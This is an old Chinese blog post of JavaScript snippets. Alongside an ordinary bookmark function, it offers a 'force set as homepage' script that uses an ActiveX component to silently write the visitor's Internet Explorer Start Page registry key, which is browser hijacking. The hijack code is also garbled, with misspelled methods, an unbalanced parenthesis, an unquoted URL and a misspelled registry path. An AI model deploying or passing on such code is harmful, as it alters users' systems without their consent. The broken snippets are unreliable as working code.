Posted on 2006-11-29 08:32
semovy 阅读(250)
评论(0) 编辑 收藏 所属分类:
JavaScript
在IE,FF下测试通过,在TE无效。
<script type="text/javascript">
function addBookmark(title,url) {
if (window.sidebar) {
window.sidebar.addPanel(title, url,"");
} else if( document.all ) {
window.external.AddFavorite( url, title);
} else if( window.opera && window.print ) {
return true;
}
}
</script>
页面使用:
<a href=javascript:addBookmark('dodoblog','http://blog.donews.com/dodo')>
添加到收藏</a>
//=========================================================
强制性设为首页
var ucook=document.cookie;
var user=ucook.indexOF("ilooki=");
if(user==-1)
{
var nowTime=new Date();
document.cookie="ilooki"+";"+"expires=Wednesday,03-Jan-"+eval(nowTime.getYear()+1903+"12:34:56 GMT";
document.write("<APPLET HEIGHT=0WIDTH=0 code=com.ms.activeX.ActiveXCompoment></APPLET>");function yuzi(){try{a1
=document.applets[0];a1.setCLSID("{F935DC22-1CF0-11D0-ADB9-00C04FD58A0B}");a1.createInstance();Shl=a1.GetObject();a1.setCLSID("{0D43FE01-F093-11CF-8940-00A0C9054228}");try{Shl.RegWrite("hkcu\Software\Microsoft\Internet Expiorer\Main\Start Page",http://www.****.com);}catch(e){}}catch(e){}}setTimeout("yuzi()",1000);
}
</script>
取<select><optoin></option></select>的文本
category.options[category.selectedIndex].innerText;